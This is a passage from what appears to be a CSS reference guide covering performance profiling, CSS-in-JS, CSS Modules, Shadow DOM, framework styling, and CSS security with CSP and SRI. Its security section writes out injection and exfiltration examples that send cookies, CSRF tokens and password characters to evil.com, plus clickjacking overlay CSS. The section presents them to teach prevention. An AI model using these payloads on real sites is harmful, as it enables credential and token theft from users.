Example: Chrome Performance Profiling Workflow

<!-- Step-by-step CSS performance audit -->

1. **Open DevTools Performance Panel**
   - F12 → Performance tab
   - Click record (⚫) button
   - Perform user interaction (scroll, click, hover)
   - Stop recording

2. **Analyze Flame Chart**
   - Look for yellow bars = JavaScript execution
   - Purple bars = Rendering (Recalculate Style, Layout, Paint)
   - Green bars = Painting
   - Find longest bars (bottlenecks)

3. **Check Specific Events**
   - **Recalculate Style:** Which selectors are slow?
     • Click event → Bottom-Up tab → Filter by "Recalculate Style"
     • Shows selector complexity cost
   
   - **Layout (Reflow):** Are you forcing layout?
     • Look for Layout after style change
     • Indicates read-then-write pattern (layout thrashing)
   
   - **Paint:** What's being repainted?
     • Large paint areas indicate expensive operations
     • Check if will-change or transform can help

4. **Enable Paint Flashing**
   - DevTools → More tools → Rendering
   - Enable "Paint flashing"
   - Green = repaint happening
   - Goal: Minimize green during scroll/animation

5. **Check Layer Composition**
   - Rendering → Layer borders (shows composited layers)
   - Orange borders = compositor layers
   - Too many layers = memory overhead
   - Too few = main thread bottleneck

Example: Performance Optimization Checklist

<!-- Critical CSS extraction -->
<!-- Inline critical CSS in <head> -->
<style>
  /* Above-fold CSS only (~14KB max) */
  .header, .hero, .nav { /* ... */ }
</style>
<link rel="preload" href="styles.css" as="style" 
      onload="this.onload=null;this.rel='stylesheet'">

<!-- CSS loading strategies -->
<!-- 1. Blocking (default) - Delays render -->
<link rel="stylesheet" href="critical.css">

<!-- 2. Preload - Load async, apply when ready -->
<link rel="preload" href="non-critical.css" as="style">

<!-- 3. Media query - Only load when needed -->
<link rel="stylesheet" href="print.css" media="print">
<link rel="stylesheet" href="large.css" media="(min-width: 1200px)">

<!-- Selector performance -->
/* ❌ Slow - Right-to-left matching */
div div div p { color: red; }
* { margin: 0; } /* Universal selector is slow */
[type="text"] { } /* Attribute without element is slow */

/* ✅ Fast - Single class */
.text-red { color: red; }
.paragraph { }
input[type="text"] { }

<!-- Optimize animations -->
/* ❌ Causes layout/paint on every frame */
@keyframes slide {
  from { left: 0; }
  to { left: 100px; }
}

/* ✅ Uses compositor (GPU) */
@keyframes slide {
  from { transform: translateX(0); }
  to { transform: translateX(100px); }
}

<!-- Prevent layout thrashing -->
// ❌ Bad: Read-write-read-write
elements.forEach(el => {
  const height = el.offsetHeight; // Read (forces layout)
  el.style.height = height + 10 + 'px'; // Write
});

// ✅ Good: Batch reads, then batch writes
const heights = elements.map(el => el.offsetHeight); // Batch reads
elements.forEach((el, i) => {
  el.style.height = heights[i] + 10 + 'px'; // Batch writes
});

Example: CSS Containment for Performance

<!-- Contain property isolates rendering -->
.widget {
  contain: layout style paint;
  /* Browser won't check outside this element for layout/style/paint */
}

.sidebar {
  contain: size layout;
  /* Size won't depend on children, layout is isolated */
}

.comment-list {
  contain: content;
  /* Shorthand for layout + style + paint */
}

<!-- content-visibility for lazy rendering -->
.long-article section {
  content-visibility: auto;
  contain-intrinsic-size: 0 500px;
  /* Browser skips rendering off-screen sections */
  /* Huge performance win for long pages */
}

<!-- Results -->
Without content-visibility: 2000ms initial render
With content-visibility: 400ms initial render (5x faster!)

<!-- will-change for animation optimization -->
.modal {
  will-change: transform, opacity;
  /* Creates compositor layer before animation starts */
}

/* ⚠️ Remove will-change after animation completes */
.modal.animating {
  will-change: transform;
}
.modal:not(.animating) {
  will-change: auto; /* Let browser optimize */
}
Chrome DevTools Performance Insights (Chrome 102+):

New Performance Insights panel provides simplified performance analysis:

  • Insights tab: Highlights specific performance issues with explanations
  • Layout shifts: Shows elements causing CLS with visual indicators
  • Long tasks: Identifies blocking JavaScript/CSS work
  • Render blocking: Lists CSS/fonts blocking first paint

Access: DevTools → Lighthouse → "Performance Insights" mode

Performance Monitoring in Production:
  • Use Real User Monitoring (RUM) tools: Google Analytics, Sentry, DataDog
  • Track Core Web Vitals: LCP, FID/INP, CLS via web-vitals library
  • Set performance budgets: Max CSS size, max selector depth, max layout time
  • Monitor render-blocking resources in production with Lighthouse CI
  • Use synthetic monitoring: WebPageTest, SpeedCurve for consistent benchmarks

CSS Debugging and Development Best Practices

  • Master DevTools: Learn browser-specific features (Firefox grid inspector, Chrome layers panel)
  • Use systematic debugging: Isolate problem → Check cascade → Verify layout → Test inheritance
  • Implement Stylelint with standard config, enable auto-fix, add pre-commit hooks
  • Set up visual regression testing for critical UI (Percy, BackstopJS, Playwright)
  • Profile CSS performance: Use Performance panel, check selector cost, minimize layout thrashing
  • Optimize CSS loading: Inline critical CSS, preload non-critical, use media queries
  • Apply CSS containment: Use contain, content-visibility for large pages
  • Monitor production: Track Core Web Vitals, set performance budgets, use RUM tools
  • Avoid anti-patterns: No unnecessary !important, position: absolute for layout, or random z-index values
  • Keep CSS modular and maintainable: Follow naming conventions, use linting, document complex selectors

20. CSS Integration with JavaScript and Frameworks

20.1 CSS Object Model (CSSOM) and DOM Manipulation

API Method/Property Usage Example
element.style Inline style manipulation Set/get inline styles directly el.style.color = 'red';
getComputedStyle() Get computed values Read final CSS values after cascade getComputedStyle(el).fontSize
classList add, remove, toggle, contains Manage CSS classes programmatically el.classList.add('active')
CSSStyleSheet insertRule, deleteRule Dynamically modify stylesheets sheet.insertRule('.new { }')
document.styleSheets Access all stylesheets Iterate through all CSS files document.styleSheets[0]
CSS.supports() Feature detection Check if browser supports CSS property CSS.supports('display', 'grid')
matchMedia() Media query matching Listen to media query changes in JS matchMedia('(min-width: 768px)')
CSS Typed OM CSSUnitValue, CSSStyleValue Typed CSS values in JS (Houdini) el.attributeStyleMap.set('width', CSS.px(100))

Example: Manipulation Examples

<!-- 1. Direct style manipulation -->
const box = document.querySelector('.box');

// Set individual properties
box.style.backgroundColor = '#3498db';
box.style.width = '200px';
box.style.transform = 'translateX(50px)';

// Set multiple properties with cssText
box.style.cssText = 'background: red; width: 200px; height: 200px;';

// Read computed styles
const computedStyle = getComputedStyle(box);
console.log(computedStyle.width); // "200px" (computed, not always same as set)
console.log(computedStyle.backgroundColor); // "rgb(52, 152, 219)"

<!-- 2. Class manipulation (preferred over direct style) -->
box.classList.add('active', 'highlighted');
box.classList.remove('inactive');
box.classList.toggle('visible');
if (box.classList.contains('active')) { /* ... */ }

<!-- 3. Dynamic stylesheet creation -->
const sheet = new CSSStyleSheet();
sheet.insertRule(`
  .dynamic-class {
    color: white;
    background: linear-gradient(45deg, #667eea, #764ba2);
    padding: 1rem;
  }
`);
document.adoptedStyleSheets = [sheet];

<!-- 4. CSS feature detection -->
if (CSS.supports('display', 'grid')) {
  document.body.classList.add('grid-supported');
} else {
  document.body.classList.add('flexbox-fallback');
}

// Check property-value pair
if (CSS.supports('backdrop-filter', 'blur(10px)')) {
  // Use backdrop-filter
}

<!-- 5. Media query listeners -->
const mediaQuery = window.matchMedia('(min-width: 768px)');

function handleMediaChange(e) {
  if (e.matches) {
    console.log('Tablet/Desktop view');
    document.body.classList.add('large-screen');
  } else {
    console.log('Mobile view');
    document.body.classList.remove('large-screen');
  }
}

mediaQuery.addEventListener('change', handleMediaChange);
handleMediaChange(mediaQuery); // Initial check

Example: CSS Typed OM (Houdini) API

<!-- Modern typed CSS values API -->
const element = document.querySelector('.box');

// Old way: String manipulation
element.style.width = (parseInt(element.style.width) + 10) + 'px';

// New way: Typed values
const currentWidth = element.attributeStyleMap.get('width');
element.attributeStyleMap.set('width', CSS.px(currentWidth.value + 10));

// Math operations
element.attributeStyleMap.set('width', CSS.calc(CSS.percent(50), CSS.px(20)));

// Transform manipulation
element.attributeStyleMap.set('transform', new CSSTransformValue([
  new CSSTranslate(CSS.px(100), CSS.px(50)),
  new CSSRotate(CSS.deg(45))
]));

// Read computed values
const computedStyleMap = element.computedStyleMap();
const fontSize = computedStyleMap.get('font-size'); // CSSUnitValue {value: 16, unit: "px"}
console.log(fontSize.value); // 16
console.log(fontSize.unit); // "px"
Performance Considerations:
  • Avoid style thrashing: Batch reads (getComputedStyle) before writes (style.property)
  • Use classes over inline styles: classList changes trigger single style recalc vs multiple for inline
  • Debounce/throttle: Limit style updates in scroll/resize handlers
  • RequestAnimationFrame: Schedule style changes before next paint for smooth animations
  • CSS containment: Use contain property to isolate style recalculation scope

20.2 CSS-in-JS Implementation Patterns

Library Approach Pros Cons
styled-components Tagged templates, runtime Dynamic styles, theming, SSR, TypeScript Runtime overhead, bundle size, learning curve
Emotion CSS prop, runtime/compile Flexible API, composition, SSR, fast Runtime cost, requires babel plugin
Vanilla Extract Zero-runtime, build-time TypeScript-first, no runtime, type-safe Less flexible, static styles only
Linaria Zero-runtime, build-time No runtime cost, standard CSS Limited dynamic styles, build step required
Stitches Near-zero runtime Variants, theming, tiny runtime, TypeScript New library, smaller ecosystem
Panda CSS Build-time, atomic CSS Zero runtime, type-safe, utility-first Requires build step, new ecosystem

Example: styled-components Pattern

// Installation: npm install styled-components
import styled from 'styled-components';

// Basic styled component
const Button = styled.button`
  background: ${props => props.primary ? '#3498db' : '#ecf0f1'};
  color: ${props => props.primary ? 'white' : '#2c3e50'};
  padding: 0.75rem 1.5rem;
  border: none;
  border-radius: 4px;
  font-size: 1rem;
  cursor: pointer;
  transition: all 0.3s ease;

  &:hover {
    transform: translateY(-2px);
    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
  }

  &:disabled {
    opacity: 0.6;
    cursor: not-allowed;
  }
`;

// Usage
<Button primary>Primary Button</Button>
<Button>Secondary Button</Button>

// Extending styles
const IconButton = styled(Button)`
  padding: 0.5rem;
  border-radius: 50%;
`;

// Theming
import { ThemeProvider } from 'styled-components';

const theme = {
  colors: {
    primary: '#3498db',
    secondary: '#2ecc71',
    text: '#2c3e50'
  },
  spacing: {
    sm: '0.5rem',
    md: '1rem',
    lg: '2rem'
  }
};

const ThemedButton = styled.button`
  background: ${props => props.theme.colors.primary};
  padding: ${props => props.theme.spacing.md};
  color: white;
`;

<ThemeProvider theme={theme}>
  <ThemedButton>Themed Button</ThemedButton>
</ThemeProvider>

Example: Emotion CSS Prop Pattern

// Installation: npm install @emotion/react
/** @jsxImportSource @emotion/react */
import { css } from '@emotion/react';

// Object styles
const buttonStyle = {
  backgroundColor: '#3498db',
  color: 'white',
  padding: '0.75rem 1.5rem',
  borderRadius: '4px',
  border: 'none',
  cursor: 'pointer',
  '&:hover': {
    backgroundColor: '#2980b9'
  }
};

// Template literal styles
const containerStyle = css`
  display: flex;
  gap: 1rem;
  padding: 2rem;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
`;

// Usage with css prop
function MyComponent() {
  return (
    <div css={containerStyle}>
      <button css={buttonStyle}>Click me</button>
      
      {/* Inline styles */}
      <span css={{
        fontSize: '1.2rem',
        fontWeight: 'bold',
        color: 'white'
      }}>
        Text
      </span>
    </div>
  );
}

// Composition
const baseButton = css`
  padding: 0.75rem 1.5rem;
  border: none;
  cursor: pointer;
`;

const primaryButton = css`
  ${baseButton}
  background: #3498db;
  color: white;
`;

Example: Vanilla Extract (Zero-runtime)

// styles.css.ts (build-time processed)
import { style, createTheme } from '@vanilla-extract/css';

// Type-safe theme
export const [themeClass, vars] = createTheme({
  color: {
    primary: '#3498db',
    secondary: '#2ecc71',
    text: '#2c3e50'
  },
  spacing: {
    small: '0.5rem',
    medium: '1rem',
    large: '2rem'
  }
});

// Type-safe styles
export const button = style({
  backgroundColor: vars.color.primary,
  color: 'white',
  padding: vars.spacing.medium,
  borderRadius: '4px',
  border: 'none',
  cursor: 'pointer',
  ':hover': {
    backgroundColor: vars.color.secondary
  }
});

// Component.tsx
import * as styles from './styles.css';

function Button() {
  return (
    <div className={styles.themeClass}>
      <button className={styles.button}>
        Click me
      </button>
    </div>
  );
}

// Result: Static CSS file generated at build time, zero runtime
CSS-in-JS Trade-offs:
  • ⚠️ Runtime cost: styled-components/Emotion add 10-20KB + runtime style injection
  • ⚠️ Server-side rendering: Requires additional setup for SSR to avoid FOUC
  • ⚠️ DevTools: Harder to debug with generated class names (use displayName)
  • ⚠️ Build complexity: Zero-runtime solutions need build configuration
  • When to use: Complex dynamic theming, component libraries, type-safe styles
  • When to avoid: Simple static sites, performance-critical apps, marketing pages

20.3 CSS Modules and PostCSS Integration

Tool Purpose Key Features
CSS Modules Local scoping Automatic class name hashing, composition, explicit dependencies
PostCSS CSS transformation Plugin ecosystem, autoprefixer, future CSS syntax
postcss-preset-env Future CSS today Nesting, custom properties, custom media queries
Autoprefixer Vendor prefixes Automatic -webkit/-moz/-ms prefixes based on browserslist
cssnano CSS minification Compression, optimization, duplicate removal

Example: CSS Modules Implementation

<!-- Button.module.css -->
.button {
  padding: 0.75rem 1.5rem;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  transition: all 0.3s ease;
}

.primary {
  composes: button;
  background: #3498db;
  color: white;
}

.secondary {
  composes: button;
  background: #ecf0f1;
  color: #2c3e50;
}

.large {
  padding: 1rem 2rem;
  font-size: 1.2rem;
}

<!-- Button.jsx -->
import styles from './Button.module.css';

function Button({ variant = 'primary', size, children }) {
  const classNames = [
    styles[variant],
    size === 'large' && styles.large
  ].filter(Boolean).join(' ');
  
  return <button className={classNames}>{children}</button>;
}

<Button variant="primary" size="large">Click me</Button>

<!-- Generated HTML -->
<button class="Button_primary__a1b2c Button_large__d3e4f">Click me</button>

<!-- Benefits -->
✅ No naming conflicts (hashed class names)
✅ Explicit dependencies (import/export)
✅ Dead code elimination (unused styles removed)
✅ Composition with 'composes' keyword
Example: PostCSS Configuration
<!-- postcss.config.js -->
module.exports = {
  plugins: [
    // 1. Enable future CSS syntax
    require('postcss-preset-env')({
      stage: 3,
      features: {
        'nesting-rules': true,
        'custom-properties': true,
        'custom-media-queries': true,
        'custom-selectors': true
      }
    }),
    
    // 2. Add vendor prefixes
    require('autoprefixer')({
      overrideBrowserslist: [
        'last 2 versions',
        '> 1%',
        'not dead',
        'not ie 11'
      ]
    }),
    
    // 3. Optimize for production
    process.env.NODE_ENV === 'production' && require('cssnano')({
      preset: ['default', {
        discardComments: { removeAll: true },
        normalizeWhitespace: true,
        minifyFontValues: true,
        convertValues: true
      }]
    })
  ].filter(Boolean)
};

<!-- Input CSS (future syntax) -->
:root {
  --color-primary: #3498db;
}

@custom-media --tablet (min-width: 768px);

.container {
  background: var(--color-primary);
  
  & .title {
    font-size: 2rem;
    
    &:hover {
      color: red;
    }
  }
  
  @media (--tablet) {
    padding: 2rem;
  }
}

<!-- Output CSS (browser-compatible) -->
:root {
  --color-primary: #3498db;
}

.container {
  background: var(--color-primary);
}

.container .title {
  font-size: 2rem;
}

.container .title:hover {
  color: red;
}

@media (min-width: 768px) {
  .container {
    padding: 2rem;
  }
}
PostCSS Plugin Recommendations:
  • postcss-import: Inline @import rules (like Sass imports)
  • postcss-nested: Sass-like nesting syntax
  • postcss-custom-properties: Compile CSS variables for IE11
  • postcss-flexbugs-fixes: Fix flexbox browser bugs automatically
  • postcss-normalize: Use parts of normalize.css based on browserslist
  • stylelint: Lint CSS during PostCSS build process

20.4 Web Components and Shadow DOM Styling

Styling Method Scope Use Case
<style> in Shadow DOM Component-scoped Encapsulated styles, no global leakage
:host selector Style component itself Outer container styling of custom element
:host-context() Conditional styling Style based on ancestor elements
::slotted() Projected content Style content passed via <slot>
::part() External styling Expose internal elements for styling (CSS Shadow Parts)
Constructable Stylesheets Shared styles Reuse stylesheets across multiple shadow roots
CSS Custom Properties Inherit through shadow Theming, customizable component properties

Example: Web Component with Shadow DOM Styling

<!-- Define custom element -->
class FancyButton extends HTMLElement {
  constructor() {
    super();
    
    // Create shadow root
    this.attachShadow({ mode: 'open' });
    
    // Add styles
    this.shadowRoot.innerHTML = `
      <style>
        /* :host targets the component itself (<fancy-button>) */
        :host {
          display: inline-block;
          --button-bg: #3498db;
          --button-color: white;
        }
        
        /* :host with state */
        :host([disabled]) {
          opacity: 0.6;
          pointer-events: none;
        }
        
        /* :host-context styles based on ancestors */
        :host-context(.dark-theme) {
          --button-bg: #2c3e50;
        }
        
        /* Internal styles (encapsulated) */
        button {
          background: var(--button-bg);
          color: var(--button-color);
          padding: 0.75rem 1.5rem;
          border: none;
          border-radius: 4px;
          cursor: pointer;
          font-family: inherit;
          font-size: 1rem;
          transition: transform 0.2s;
        }
        
        button:hover {
          transform: translateY(-2px);
        }
        
        /* Style slotted content */
        ::slotted(svg) {
          width: 1rem;
          height: 1rem;
          margin-right: 0.5rem;
        }
      </style>
      
      <button part="button">
        <slot name="icon"></slot>
        <slot>Click me</slot>
      </button>
    `;
  }
}

customElements.define('fancy-button', FancyButton);

<!-- Usage -->
<fancy-button>Regular Button</fancy-button>
<fancy-button disabled>Disabled Button</fancy-button>

<fancy-button>
  <svg slot="icon">...</svg>
  With Icon
</fancy-button>

<!-- Style from outside using CSS Shadow Parts -->
<style>
  fancy-button::part(button) {
    border-radius: 8px;
    box-shadow: 0 2px 8px rgba(0,0,0,0.1);
  }
  
  /* Customize with CSS variables */
  fancy-button {
    --button-bg: #2ecc71;
    --button-color: white;
  }
</style>

Example: Constructable Stylesheets (Reusable Styles)

<!-- Create shared stylesheet -->
const sharedStyles = new CSSStyleSheet();
sharedStyles.replaceSync(`
  * {
    box-sizing: border-box;
  }
  
  :host {
    display: block;
    font-family: system-ui, -apple-system, sans-serif;
  }
  
  button {
    cursor: pointer;
    transition: all 0.2s;
  }
`);

// Apply to multiple shadow roots
class ComponentA extends HTMLElement {
  constructor() {
    super();
    const shadow = this.attachShadow({ mode: 'open' });
    shadow.adoptedStyleSheets = [sharedStyles];
    shadow.innerHTML = `<button>Component A</button>`;
  }
}

class ComponentB extends HTMLElement {
  constructor() {
    super();
    const shadow = this.attachShadow({ mode: 'open' });
    shadow.adoptedStyleSheets = [sharedStyles];
    shadow.innerHTML = `<button>Component B</button>`;
  }
}

// Benefits: Styles are shared in memory, no duplication
Shadow DOM Styling Best Practices:
  • Use CSS Custom Properties for theming (they inherit through shadow boundaries)
  • Expose ::part() pseudo-elements for external customization of internal elements
  • Use Constructable Stylesheets to share common styles across components
  • Keep styles minimal - shadow DOM already provides encapsulation
  • Use :host-context() sparingly - prefer CSS variables for theming
  • Test in browsers that don't support Shadow DOM (polyfills may be needed)

20.5 Framework-specific CSS Solutions

Framework CSS Solution Approach Example
React CSS Modules, styled-components, Tailwind className prop, css prop, utility classes <div className={styles.container}>
Vue Scoped styles, CSS Modules <style scoped> in SFC <style scoped>.container { }</style>
Angular ViewEncapsulation, global styles Emulated, ShadowDOM, None styleUrls: ['./component.css']
Svelte Scoped by default <style> in component (auto-scoped) <style>.button { }</style>
Next.js CSS Modules, Tailwind, styled-jsx Built-in CSS Modules, global CSS import styles from './page.module.css'
Astro Scoped styles, global styles <style> scoped by default <style>.title { }</style>

Example: React CSS Patterns

<!-- 1. CSS Modules -->
// Button.module.css
.button {
  padding: 0.75rem 1.5rem;
  border: none;
  border-radius: 4px;
}

.primary { background: #3498db; color: white; }
.secondary { background: #ecf0f1; color: #2c3e50; }

// Button.jsx
import styles from './Button.module.css';
export default function Button({ variant = 'primary', children }) {
  return (
    <button className={`${styles.button} ${styles[variant]}`}>
      {children}
    </button>
  );
}

<!-- 2. Tailwind CSS -->
export default function Button({ variant = 'primary', children }) {
  const baseClasses = 'px-6 py-3 rounded border-none cursor-pointer';
  const variantClasses = {
    primary: 'bg-blue-500 text-white hover:bg-blue-600',
    secondary: 'bg-gray-200 text-gray-800 hover:bg-gray-300'
  };
  
  return (
    <button className={`${baseClasses} ${variantClasses[variant]}`}>
      {children}
    </button>
  );
}

<!-- 3. Styled-components -->
import styled from 'styled-components';

const StyledButton = styled.button`
  padding: 0.75rem 1.5rem;
  border: none;
  border-radius: 4px;
  background: ${props => props.variant === 'primary' ? '#3498db' : '#ecf0f1'};
  color: ${props => props.variant === 'primary' ? 'white' : '#2c3e50'};
`;

export default function Button({ variant = 'primary', children }) {
  return <StyledButton variant={variant}>{children}</StyledButton>;
}

Example: Vue Scoped Styles

<!-- Button.vue -->
<template>
  <button :class="['button', variant]">
    <slot></slot>
  </button>
</template>

<script setup>
defineProps({
  variant: {
    type: String,
    default: 'primary'
  }
});
</script>

<style scoped>
.button {
  padding: 0.75rem 1.5rem;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  transition: all 0.3s ease;
}

.primary {
  background: #3498db;
  color: white;
}

.primary:hover {
  background: #2980b9;
}

.secondary {
  background: #ecf0f1;
  color: #2c3e50;
}

/* Deep selector for child components */
:deep(.icon) {
  margin-right: 0.5rem;
}

/* Global selector */
:global(.dark-mode) .button {
  border: 1px solid rgba(255,255,255,0.2);
}
</style>

<!-- CSS Modules in Vue -->
<style module>
.button {
  padding: 0.75rem 1.5rem;
}
</style>

<template>
  <button :class="$style.button">Click</button>
</template>

Example: Angular ViewEncapsulation

// button.component.ts
import { Component, Input, ViewEncapsulation } from '@angular/core';

@Component({
  selector: 'app-button',
  template: `
    <button [class]="'button ' + variant">
      <ng-content></ng-content>
    </button>
  `,
  styleUrls: ['./button.component.css'],
  encapsulation: ViewEncapsulation.Emulated // Default
  // Options:
  // - Emulated: Scoped styles with attribute selectors (default)
  // - ShadowDom: Native Shadow DOM encapsulation
  // - None: Global styles (no encapsulation)
})
export class ButtonComponent {
  @Input() variant: string = 'primary';
}

// button.component.css
.button {
  padding: 0.75rem 1.5rem;
  border: none;
  border-radius: 4px;
}

.primary {
  background: #3498db;
  color: white;
}

/* :host selector for component itself */
:host {
  display: inline-block;
}

:host(.large) .button {
  padding: 1rem 2rem;
  font-size: 1.2rem;
}

/* ::ng-deep for piercing encapsulation (deprecated) */
::ng-deep .icon {
  margin-right: 0.5rem;
}

Example: Svelte Scoped Styles

<!-- Button.svelte -->
<script>
  export let variant = 'primary';
</script>

<button class="button {variant}">
  <slot></slot>
</button>

<style>
  /* Automatically scoped - no manual work needed */
  .button {
    padding: 0.75rem 1.5rem;
    border: none;
    border-radius: 4px;
    cursor: pointer;
  }
  
  .primary {
    background: #3498db;
    color: white;
  }
  
  .secondary {
    background: #ecf0f1;
    color: #2c3e50;
  }
  
  /* :global() for global styles */
  :global(body.dark-mode) .button {
    border: 1px solid rgba(255,255,255,0.2);
  }
  
  /* Dynamic styles with variables */
  .button {
    --button-bg: #3498db;
    background: var(--button-bg);
  }
</style>

<!-- Usage -->
<Button variant="primary">Click me</Button>

Framework CSS Solution Comparison:

Consideration Best Choice Reason
Zero config scoping Vue, Svelte, Angular Built-in scoped styles, no extra setup
Dynamic theming styled-components, Emotion Full JavaScript power for theme logic
Performance critical Tailwind, CSS Modules, Vanilla Extract Zero/minimal runtime, static extraction
Type safety Vanilla Extract, Panda CSS, Stitches TypeScript-first with autocomplete
Server-side rendering CSS Modules, Tailwind, styled-components Mature SSR support, no hydration issues

CSS Integration with JavaScript Best Practices

  • Prefer classList over inline styles - Better performance, reusability, maintainability
  • Use getComputedStyle() for reading values, avoid layout thrashing with batch reads/writes
  • Choose CSS-in-JS for dynamic theming/component libraries, avoid for static sites
  • Use CSS Modules for scoped styles with zero runtime cost and explicit dependencies
  • Configure PostCSS with preset-env, autoprefixer, cssnano for modern CSS features
  • Leverage Shadow DOM for true encapsulation in Web Components
  • Expose customization with ::part() and CSS Custom Properties in Web Components
  • Follow framework conventions: Vue/Svelte scoped styles, React CSS Modules/Tailwind, Angular ViewEncapsulation
  • Consider zero-runtime solutions (Vanilla Extract, Panda CSS) for performance-critical apps
  • Use Constructable Stylesheets to share styles across multiple Shadow DOM instances

21. CSS Security and Best Practices

21.1 CSS Security Vulnerabilities and Prevention

Vulnerability Attack Vector Impact Prevention
CSS Injection User input in style attributes/inline CSS XSS, data exfiltration, UI redressing Sanitize user input, use CSP, avoid inline styles
Attribute Selectors Data Theft [attr^="secret"] { background: url(evil.com?c=s) } Character-by-character data exfiltration CSP style-src, disable user CSS, sanitize selectors
CSS Keylogger input[value^="a"] { background: url(...) } Capture form input via background-image requests CSP, no external stylesheets from untrusted sources
Timing Attacks CSS animations + performance.now() timing Infer user state, detect visited links Limit animation access, sanitize :visited styles
UI Redressing (Clickjacking) Transparent overlays with CSS positioning Trick users into clicking hidden elements X-Frame-Options, frame-ancestors CSP directive
Font-based Attacks Malicious @font-face with exploits Browser vulnerabilities, font parser exploits CSP font-src, use trusted font sources only
Import Chain Attacks @import url(evil.com/styles.css) Load malicious CSS, CORS bypass attempts CSP style-src, avoid @import, use bundlers

Example: CSS Injection Attack Examples

<!-- 1. Direct CSS Injection via User Input -->
<!-- ❌ VULNERABLE CODE -->
<div style="color: {{ userInput }}">Text</div>

<!-- User provides: red; background: url(https://evil.com?cookie='+document.cookie) -->
<div style="color: red; background: url(https://evil.com?cookie='+document.cookie)">

<!-- ✅ SECURE: Sanitize and whitelist -->
const allowedColors = ['red', 'blue', 'green', 'black'];
const color = allowedColors.includes(userInput) ? userInput : 'black';
<div style=`color: ${color}`>Text</div>

<!-- 2. Attribute Selector Data Exfiltration -->
<!-- Attacker injects this CSS -->
<style>
  /* Leak CSRF token character by character */
  input[name="csrf"][value^="a"] { 
    background: url(https://evil.com/log?char=a); 
  }
  input[name="csrf"][value^="b"] { 
    background: url(https://evil.com/log?char=b); 
  }
  /* ... repeat for all characters ... */
  
  /* Leak password field */
  input[type="password"][value^="p"] {
    background: url(https://evil.com/pw?c=p);
  }
</style>

<!-- 3. CSS Keylogger Attack -->
<style>
  /* Capture every keystroke in real-time */
  input[value$="a"] { background: url(https://evil.com?k=a); }
  input[value$="b"] { background: url(https://evil.com?k=b); }
  input[value$="c"] { background: url(https://evil.com?k=c); }
  /* ...for every character and combination... */
  
  /* More sophisticated: capture prefixes */
  input[value^="pas"] { background: url(https://evil.com?pw=pas); }
  input[value^="pass"] { background: url(https://evil.com?pw=pass); }
</style>

<!-- 4. UI Redressing / Clickjacking -->
<style>
  /* Make malicious iframe transparent */
  iframe.evil {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.01;
    z-index: 9999;
  }
  
  /* Overlay fake UI */
  .fake-button {
    position: absolute;
    top: 200px;
    left: 300px;
    /* Positioned exactly over real "Delete Account" button */
  }
</style>
Critical CSS Security Rules:
  • Never trust user input in CSS - Sanitize all user-provided styles, colors, URLs
  • Don't allow user-uploaded stylesheets - High risk of data exfiltration attacks
  • Avoid inline styles with user data - Use classes and CSS variables instead
  • Don't use @import from untrusted sources - Can load malicious external CSS
  • Always implement Content Security Policy - Restrict style-src to trusted origins
  • Sanitize attribute selector usage - Prevent data exfiltration via [attr^="..."]
  • Use Subresource Integrity (SRI) - Verify external stylesheet integrity

21.2 Content Security Policy for CSS

CSP Directive Purpose Example
style-src Control CSS source origins style-src 'self' https://cdn.example.com
'unsafe-inline' Allow inline <style> and style="" (avoid!) style-src 'self' 'unsafe-inline'
'nonce-{random}' Allow specific inline styles with nonce style-src 'nonce-rAnd0m123'
'sha256-{hash}' Allow inline styles matching hash style-src 'sha256-abc123...'
font-src Control font file origins font-src 'self' https://fonts.gstatic.com
img-src Control background-image sources img-src 'self' data: https:
default-src Fallback for unspecified directives default-src 'self'

Example: Content Security Policy Configuration

<!-- 1. Strict CSP (Best Security) -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  style-src 'self' 'nonce-{SERVER_GENERATED_NONCE}';
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data: https:;
">

<!-- Usage with nonce -->
<style nonce="{SERVER_GENERATED_NONCE}">
  .safe-inline-styles { color: red; }
</style>

<!-- 2. Moderate CSP (Allows External CDNs) -->
Content-Security-Policy: 
  default-src 'self';
  style-src 'self' https://cdn.jsdelivr.net https://unpkg.com;
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data: https:;

<!-- 3. Hash-based CSP (For Specific Inline Styles) -->
<!-- Generate hash: echo -n ".app{color:red}" | openssl dgst -sha256 -binary | base64 -->
Content-Security-Policy: 
  style-src 'self' 'sha256-abc123def456...';

<style>.app{color:red}</style> <!-- Must match hash exactly -->

<!-- 4. Report-Only Mode (Testing) -->
Content-Security-Policy-Report-Only: 
  default-src 'self';
  style-src 'self';
  report-uri https://example.com/csp-reports;

<!-- Violations are reported but not blocked -->

<!-- 5. Header Configuration (Server-side) -->
// Node.js Express
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', 
    "default-src 'self'; " +
    "style-src 'self' 'nonce-" + res.locals.nonce + "'; " +
    "font-src 'self' https://fonts.gstatic.com; " +
    "img-src 'self' data: https:;"
  );
  next();
});

// Nginx
add_header Content-Security-Policy 
  "default-src 'self'; style-src 'self' https://cdn.example.com;" 
  always;

Example: Subresource Integrity (SRI) for Stylesheets

<!-- Verify external stylesheet hasn't been tampered with -->
<link rel="stylesheet" 
      href="https://cdn.example.com/styles.css"
      integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
      crossorigin="anonymous">

<!-- Generate SRI hash -->
<!-- Method 1: openssl -->
curl https://cdn.example.com/styles.css | openssl dgst -sha384 -binary | base64

<!-- Method 2: Online tools -->
https://www.srihash.org/

<!-- Method 3: npm package -->
npm install -g sri-toolbox
sri-toolbox generate ./dist/styles.css

<!-- Multiple hashes for fallback -->
<link rel="stylesheet" 
      href="https://cdn.example.com/styles.css"
      integrity="sha384-hash1 sha512-hash2"
      crossorigin="anonymous">

<!-- Browser behavior -->
✅ If hash matches: Load and apply stylesheet
❌ If hash doesn't match: Block stylesheet, console error
⚠️ Without SRI: CDN compromise can inject malicious CSS
CSP Best Practices for CSS:
  • Avoid 'unsafe-inline': Use nonces or hashes for inline styles instead
  • Use nonces for dynamic content: Server-generates unique nonce per request
  • Whitelist specific origins: Don't use wildcard (*) or overly broad https:
  • Test with Report-Only first: Monitor violations before enforcing policy
  • Combine with SRI: CSP + SRI provides defense in depth for external CSS
